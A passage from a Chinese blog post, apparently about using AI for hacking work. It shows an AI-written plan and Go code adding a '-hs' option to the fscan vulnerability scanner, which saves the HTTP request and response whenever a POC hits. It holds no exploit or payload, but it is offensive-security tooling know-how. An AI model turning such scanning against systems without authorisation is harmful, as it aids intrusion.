&lt;/span&gt;&lt;span class="lnt"&gt; 56
&lt;/span&gt;&lt;span class="lnt"&gt; 57
&lt;/span&gt;&lt;span class="lnt"&gt; 58
&lt;/span&gt;&lt;span class="lnt"&gt; 59
&lt;/span&gt;&lt;span class="lnt"&gt; 60
&lt;/span&gt;&lt;span class="lnt"&gt; 61
&lt;/span&gt;&lt;span class="lnt"&gt; 62
&lt;/span&gt;&lt;span class="lnt"&gt; 63
&lt;/span&gt;&lt;span class="lnt"&gt; 64
&lt;/span&gt;&lt;span class="lnt"&gt; 65
&lt;/span&gt;&lt;span class="lnt"&gt; 66
&lt;/span&gt;&lt;span class="lnt"&gt; 67
&lt;/span&gt;&lt;span class="lnt"&gt; 68
&lt;/span&gt;&lt;span class="lnt"&gt; 69
&lt;/span&gt;&lt;span class="lnt"&gt; 70
&lt;/span&gt;&lt;span class="lnt"&gt; 71
&lt;/span&gt;&lt;span class="lnt"&gt; 72
&lt;/span&gt;&lt;span class="lnt"&gt; 73
&lt;/span&gt;&lt;span class="lnt"&gt; 74
&lt;/span&gt;&lt;span class="lnt"&gt; 75
&lt;/span&gt;&lt;span class="lnt"&gt; 76
&lt;/span&gt;&lt;span class="lnt"&gt; 77
&lt;/span&gt;&lt;span class="lnt"&gt; 78
&lt;/span&gt;&lt;span class="lnt"&gt; 79
&lt;/span&gt;&lt;span class="lnt"&gt; 80
&lt;/span&gt;&lt;span class="lnt"&gt; 81
&lt;/span&gt;&lt;span class="lnt"&gt; 82
&lt;/span&gt;&lt;span class="lnt"&gt; 83
&lt;/span&gt;&lt;span class="lnt"&gt; 84
&lt;/span&gt;&lt;span class="lnt"&gt; 85
&lt;/span&gt;&lt;span class="lnt"&gt; 86
&lt;/span&gt;&lt;span class="lnt"&gt; 87
&lt;/span&gt;&lt;span class="lnt"&gt; 88
&lt;/span&gt;&lt;span class="lnt"&gt; 89
&lt;/span&gt;&lt;span class="lnt"&gt; 90
&lt;/span&gt;&lt;span class="lnt"&gt; 91
&lt;/span&gt;&lt;span class="lnt"&gt; 92
&lt;/span&gt;&lt;span class="lnt"&gt; 93
&lt;/span&gt;&lt;span class="lnt"&gt; 94
&lt;/span&gt;&lt;span class="lnt"&gt; 95
&lt;/span&gt;&lt;span class="lnt"&gt; 96
&lt;/span&gt;&lt;span class="lnt"&gt; 97
&lt;/span&gt;&lt;span class="lnt"&gt; 98
&lt;/span&gt;&lt;span class="lnt"&gt; 99
&lt;/span&gt;&lt;span class="lnt"&gt;100
&lt;/span&gt;&lt;span class="lnt"&gt;101
&lt;/span&gt;&lt;span class="lnt"&gt;102
&lt;/span&gt;&lt;span class="lnt"&gt;103
&lt;/span&gt;&lt;span class="lnt"&gt;104
&lt;/span&gt;&lt;span class="lnt"&gt;105
&lt;/span&gt;&lt;span class="lnt"&gt;106
&lt;/span&gt;&lt;span class="lnt"&gt;107
&lt;/span&gt;&lt;span class="lnt"&gt;108
&lt;/span&gt;&lt;span class="lnt"&gt;109
&lt;/span&gt;&lt;span class="lnt"&gt;110
&lt;/span&gt;&lt;span class="lnt"&gt;111
&lt;/span&gt;&lt;span class="lnt"&gt;112
&lt;/span&gt;&lt;span class="lnt"&gt;113
&lt;/span&gt;&lt;span class="lnt"&gt;114
&lt;/span&gt;&lt;span class="lnt"&gt;115
&lt;/span&gt;&lt;span class="lnt"&gt;116
&lt;/span&gt;&lt;span class="lnt"&gt;117
&lt;/span&gt;&lt;span class="lnt"&gt;118
&lt;/span&gt;&lt;span class="lnt"&gt;119
&lt;/span&gt;&lt;span class="lnt"&gt;120
&lt;/span&gt;&lt;span class="lnt"&gt;121
&lt;/span&gt;&lt;span class="lnt"&gt;122
&lt;/span&gt;&lt;span class="lnt"&gt;123
&lt;/span&gt;&lt;span class="lnt"&gt;124
&lt;/span&gt;&lt;span class="lnt"&gt;125
&lt;/span&gt;&lt;span class="lnt"&gt;126
&lt;/span&gt;&lt;span class="lnt"&gt;127
&lt;/span&gt;&lt;span class="lnt"&gt;128
&lt;/span&gt;&lt;span class="lnt"&gt;129
&lt;/span&gt;&lt;span class="lnt"&gt;130
&lt;/span&gt;&lt;span class="lnt"&gt;131
&lt;/span&gt;&lt;span class="lnt"&gt;132
&lt;/span&gt;&lt;span class="lnt"&gt;133
&lt;/span&gt;&lt;span class="lnt"&gt;134
&lt;/span&gt;&lt;span class="lnt"&gt;135
&lt;/span&gt;&lt;span class="lnt"&gt;136
&lt;/span&gt;&lt;span class="lnt"&gt;137
&lt;/span&gt;&lt;span class="lnt"&gt;138
&lt;/span&gt;&lt;span class="lnt"&gt;139
&lt;/span&gt;&lt;span class="lnt"&gt;140
&lt;/span&gt;&lt;span class="lnt"&gt;141
&lt;/span&gt;&lt;span class="lnt"&gt;142
&lt;/span&gt;&lt;span class="lnt"&gt;143
&lt;/span&gt;&lt;span class="lnt"&gt;144
&lt;/span&gt;&lt;span class="lnt"&gt;145
&lt;/span&gt;&lt;span class="lnt"&gt;146
&lt;/span&gt;&lt;span class="lnt"&gt;147
&lt;/span&gt;&lt;span class="lnt"&gt;148
&lt;/span&gt;&lt;span class="lnt"&gt;149
&lt;/span&gt;&lt;span class="lnt"&gt;150
&lt;/span&gt;&lt;span class="lnt"&gt;151
&lt;/span&gt;&lt;span class="lnt"&gt;152
&lt;/span&gt;&lt;span class="lnt"&gt;153
&lt;/span&gt;&lt;span class="lnt"&gt;154
&lt;/span&gt;&lt;span class="lnt"&gt;155
&lt;/span&gt;&lt;span class="lnt"&gt;156
&lt;/span&gt;&lt;span class="lnt"&gt;157
&lt;/span&gt;&lt;span class="lnt"&gt;158
&lt;/span&gt;&lt;span class="lnt"&gt;159
&lt;/span&gt;&lt;span class="lnt"&gt;160
&lt;/span&gt;&lt;span class="lnt"&gt;161
&lt;/span&gt;&lt;span class="lnt"&gt;162
&lt;/span&gt;&lt;span class="lnt"&gt;163
&lt;/span&gt;&lt;span class="lnt"&gt;164
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;POC 请求响应保存功能实现计划
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;背景
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;用户希望在 fscan 中新增功能：当 POC 扫描命中漏洞时，能够保存触发漏洞所使用的 HTTP 请求和响应到本地文件。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;经检查：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; https://fscan.club/&lt;span class="ni"&gt;#/docs&lt;/span&gt; 网站无有用内容
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; fscan --help 中无此功能描述
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 当前 fscan 版本（1.8.4）不支持保存 HTTP 请求响应
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;实现方案
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; 新增命令行参数
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;参考现有参数风格（单破折号 - 前缀），新增：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;// common/flag.go 第70行附近
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;flag.StringVar(&amp;amp;PocSavePath, &amp;#34;hs&amp;#34;, &amp;#34;&amp;#34;, &amp;#34;save poc http request and response to file when poc hits&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;参数说明：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; -hs: http save，指定保存目录路径（当 POC 命中时自动创建文件）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; 定义全局变量
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;// common/config.go 第134行附近
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var PocSavePath string // 保存目录路径
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;3.&lt;/span&gt; 核心实现
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3.1 修改 executePoc 函数签名
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;在 WebScan/lib/check.go 中，修改 executePoc 函数返回额外信息：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;// 修改前
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;func executePoc(oReq *http.Request, p *Poc) (bool, error, string, map[string]string)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;// 修改后
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;func executePoc(oReq *http.Request, p *Poc) (bool, error, string, map[string]string, *http.Request, *Response)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;返回的两个额外值为：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; *http.Request: 最后执行的请求（用于保存）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; *Response: 最后执行的响应（用于保存）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3.2 修改 CheckMultiPoc 函数
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;在 CheckMultiPoc 函数（第29-64行）中：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; 接收返回的 request 和 response
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; 当 isVul 为 true 且 PocSavePath 不为空时，保存请求响应
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3.3 保存函数实现
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;创建保存函数 savePocHttpInfo：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;func savePocHttpInfo(req *http.Request, resp *Response, pocName, savePath string) error {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; // 1. 创建目录（如果不存在）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; os.MkdirAll(savePath, 0755)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; // 2. 生成文件名
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; urlHash := md5.Sum([]byte(req.URL.String()))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; timestamp := time.Now().Unix()
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; filename := fmt.Sprintf(&amp;#34;%s_%x_%d.txt&amp;#34;, pocName, urlHash, timestamp)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; filepath := filepath.Join(savePath, filename)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; // 3. 格式化请求响应内容
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; var content strings.Builder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; content.WriteString(&amp;#34;============== Request ==============\n&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; content.WriteString(fmt.Sprintf(&amp;#34;%s %s HTTP/1.1\n&amp;#34;, req.Method, req.URL.RequestURI()))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; content.WriteString(fmt.Sprintf(&amp;#34;Host: %s\n&amp;#34;, req.Host))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for k, v := range req.Header {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; content.WriteString(fmt.Sprintf(&amp;#34;%s: %s\n&amp;#34;, k, strings.Join(v, &amp;#34;, &amp;#34;)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if req.Body != nil {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; body, _ := io.ReadAll(req.Body)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; content.WriteString(&amp;#34;\n&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; content.WriteString(string(body))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; content.WriteString(&amp;#34;\n\n============== Response ==============\n&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; content.WriteString(fmt.Sprintf(&amp;#34;HTTP/1.1 %d %s\n&amp;#34;, resp.Status, http.StatusText(resp.Status)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for k, v := range resp.Headers {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; content.WriteString(fmt.Sprintf(&amp;#34;%s: %s\n&amp;#34;, k, v))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; content.WriteString(&amp;#34;\n&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; content.WriteString(string(resp.Body))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; // 4. 写入文件
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return os.WriteFile(filepath, []byte(content.String()), 0644)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;4.&lt;/span&gt; 文件命名策略
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;为避免文件名冲突和覆盖，使用：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{poc_name}_{md5(url)}_{timestamp}.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;例如：poc-weblogic_1a2b3c4d_1709000000.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;5.&lt;/span&gt; 关键代码位置
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──────────────────────┬────────┬───────────────────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ 文件 │ 行号 │ 修改内容 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├──────────────────────┼────────┼───────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ common/flag.go │ ~70 │ 添加 -hs 参数定义 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├──────────────────────┼────────┼───────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ common/config.go │ ~134 │ 添加 PocSavePath 变量 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├──────────────────────┼────────┼───────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ WebScan/lib/check.go │ ~66 │ 修改 executePoc 函数签名和返回 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├──────────────────────┼────────┼───────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ WebScan/lib/check.go │ ~29-64 │ 修改 CheckMultiPoc 函数调用和保存逻辑 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├──────────────────────┼────────┼───────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ WebScan/lib/check.go │ 新增 │ 添加 savePocHttpInfo 函数 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└──────────────────────┴────────┴───────────────────────────────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;6.&lt;/span&gt; 依赖
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;需要添加以下 import：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import (
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;crypto/md5&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;path/filepath&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;time&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;测试计划
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6.1 启动 Python HTTP 测试服务
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gh"&gt;# 创建简单的 Python HTTP 服务
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 -m http.server 8080
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6.2 编写测试 POC YAML
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;在 WebScan/pocs/ 或使用 -pocpath 指定目录，创建测试 POC：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;name: poc-test-save-http
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; key: test
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; value: &amp;#34;test&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rules:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; method: GET
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; path: /test
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; expression: response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#34;test&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6.3 运行测试
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fscan -hs ./poc-output -u http://localhost:8080 -pocname poc-test-save-http
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6.4 验证
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; 检查 ./poc-output 目录是否生成文件
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; 验证文件内容包含完整的请求和响应
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CLAUDE.md 更新
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;在 CLAUDE.md 的 &amp;#34;Web POC 系统&amp;#34; 部分添加：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;#### POC 请求响应保存
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;当 POC 命中时，可使用 &lt;span class="sb"&gt;`-hs &amp;lt;目录&amp;gt;`&lt;/span&gt; 参数保存触发漏洞的 HTTP 请求和响应：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fscan -hs ./poc-output -u http://target.com -pocname weLOGIC
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;命中后会在指定目录生成 {poc_name}_{url_hash}_{timestamp}.txt 文件，包含完整的请求头/请求体和响应头/响应体。
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/details&gt;
&lt;p&gt;M2.5 完美完成任务，可以用这样的指令&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./fscan -hs ./poc-output -u http://target.com -pocname poc-yaml-name
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;效果如图：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/2026/hacking-with-ai/image-1.png"
width="2940"
height="1912"
srcset="https://v3n0.com/post/2026/hacking-with-ai/image-1_hu_182db32740acf41a.png 480w, https://v3n0.com/post/2026/hacking-with-ai/image-1_hu_9e40e886906d160d.png 1024w"
loading="lazy"
alt="请求响应包格式"
class="gallery-image"
data-flex-grow="153"
data-flex-basis="369px"
&gt;&lt;/p&gt;
&lt;h2 id="skill-自动化"&gt;Skill 自动化
&lt;/h2&gt;&lt;h3 id="从-payload-生成-fscan-poc-yaml"&gt;从 payload 生成 fscan poc yaml
&lt;/h3&gt;&lt;p&gt;二次开发工作完成之后，不再需要关心代码结构。因此先清理一下 CLAUDE.md&lt;/p&gt;
&lt;blockquote&gt;
